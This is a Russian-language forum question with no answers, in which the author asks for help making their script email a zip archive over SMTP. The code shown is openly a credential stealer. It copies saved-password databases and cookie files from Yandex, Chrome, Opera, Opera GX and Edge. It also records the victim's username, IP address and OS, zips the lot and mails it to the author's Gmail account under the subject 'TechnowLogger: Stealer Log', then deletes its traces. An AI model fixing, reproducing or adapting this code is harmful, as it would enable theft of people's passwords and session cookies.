Не отправляется архив по smtp

Пишу скрипт, требуется отправка генерируемого zip файла по smtp. Проблема неизвестно в чем, по какой-то причине не отпрвляется. Я не знаю нормально smtplib и поэтому не могу понять по какой причине не отправляется архив. Прошу помочь мне так как знаний чтобы сам себе помочь не имею, а это очень нужно. Заранее спасибо!

def send_mail_with_attachment(self):
            # =======проверка подключения к интернету====
    try:  # Проверяем подключение
        host = socket.gethostbyname("www.google.com")  # Получаем hostname
        s = socket.create_connection((host, 80),
                                     5)  # Создаём подключение, если получается создать - вызываем s.close()
        # закрывая подключение, пропускаем выполнение кода из except и выполняем основной код. Если нет интернета
        # вызывается except где у нас sys.exit() завершающий выполнение кода.
        s.close()  # Закрываем подключение

    except Exception:  # Нет подключения
        sys.exit()  # Завершаем работу всего скрипта
    # ===========================================
    USER_NAME = getpass.getuser()
    dirr = os.getcwd()  # А эта хуита дает переменную дирректории файла
    start_time = time.time()
    file_name = os.path.basename(sys.argv[0])  # задаем переменную названию файла
    # ==========================================================================

    # ==========Папка репорт==========
    try:
        os.mkdir('report')  # Создаем папочку репорт
    except:
        pass

    # ================================

    # ==================================Задаем переменные асинхронизации==========================================
    async def waiter():
        task1 = asyncio.create_task(
            create('C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default', '%s/report/Yandex',
                   'C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default/Ya Passman Data',
                   '%s/report/Yandex/Ya Passman Data',
                   'C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default/Network/Cookies',
                   '%s/report/Yandex/Cookies', ))  # Яндекс
        task2 = asyncio.create_task(
            create('C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default', '%s/report/Chrome',
                   'C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default/Login Data',
                   '%s/report/Chrome/Login Data',
                   'C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default/Network',
                   '%s/report/Chrome/Cookies'))  # Хром
        task3 = asyncio.create_task(
            create('C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable', '%s/report/OperaGX',
                   'C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable/Login Data',
                   '%s/report/OperaGX/Login Data',
                   'C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable/Network/Cookies',
                   '%s/report/OperaGX/Cookies'))  # Опера жс
        task4 = asyncio.create_task(
            create('C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable', '%s/report/Opera',
                   'C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable/Login Data',
                   '%s/report/Opera/Login Data',
                   'C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable/Network/Cookies',
                   '%s/report/Opera/Cookies'))  # Опера
        task5 = asyncio.create_task(
            create('C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default', '%s/report/MicrosoftEdge',
                   'C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default/Login Data',
                   '%s/report/MicrosoftEdge/Login Data',
                   'C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default/Network/Cookies',
                   '%s/report/MicrosoftEdge/Cookies'))  # Майкрасофт едге

        await task1  # Закрываем таск с яндексом
        await task2  # Закрываем таск с хромом
        await task3  # Закрываем таск с оперой жс
        await task4  # Закрываем таск с оперой
        await task5  # Закрываем таск с майкрасофтом

    # ==============================================================================================================================

    # ===========Шаблон копирования файлов===========
    async def create(path, report, aa, bb, cc, dd):
        try:
            if os.path.exists(path % USER_NAME):  # проверка папки с файлами для стиллинга
                os.mkdir(report % dirr)
                a = aa % USER_NAME  # Пароли
                b = bb % dirr  # Пароли на отправку
                c = cc % USER_NAME  # Куки
                d = dd % dirr  # Куки на отправку
                try:
                    shutil.copyfile(a, b).format()  # Пароли копирование
                except:
                    pass
                try:
                    shutil.copyfile(c, d).format()  # Куки копирование
                except:
                    pass
            else:
                pass
        except:
            pass

    asyncio.run(waiter())
    # =================================================================

    # ===============Ништяки===============
    ip = socket.gethostbyname(socket.gethostname())  # IP-адрес системы
    ost = platform.uname()  # Название операционной системы
    dok = f'%s/{USER_NAME}[{ip}].zip' % dirr  # Переменная файла репорт + ништяки
    # ======================================================================================

    # =======================================Инфо=================================
    file = open("info.txt", "w", encoding='utf-8')
    file.write(f'Имя пользователя - {USER_NAME}\nip - {ip}\nОперационная система - {ost}')  # Запись в файл
    file.close()
    info = '%s/info.txt' % dirr
    rep = '%s/report' % dirr
    try:
        shutil.copy(info, rep)
    except:
        pass
    # ============================================================================

    # ======Create zipfile and upload=================================
    pytb = '%s/report' % dirr
    shutil.make_archive(f'{USER_NAME}[{ip}]', "zip", pytb)
    shutil.rmtree('report')  # Удаляем папку репорт
    os.remove('info.txt')
    # =================================================================
    try:
        msg = MIMEMultipart()
        msg['From'] = self.email
        msg['To'] = self.email
        msg['Subject'] = "TechnowLogger: Stealer Log"
        text = "\nReport From:\n\n" + self.system_info
        msg.attach(MIMEText(text))

        files = [f'{USER_NAME}[{ip}].zip', ]

        for f in files or []:
            j = file(f)
            attachedfile = MIMEText(j.read())
            attachedfile.add_header(
                'Content-Disposition', 'attachment', filename=f)
            msg.attach(attachedfile)

        smtp = smtplib.SMTP(host="smtp.gmail.com", port=587)
        smtp.starttls()
        smtp.login(self.email, self.password)
        smtp.sendmail(self.email, self.email, msg.as_string())
        smtp.close()

        os.chdir(tempfile.gettempdir())
        os.remove(dok)
    except Exception as e:
        time.sleep(15)
        self.send_mail_with_attachment()

Ответы (0 шт):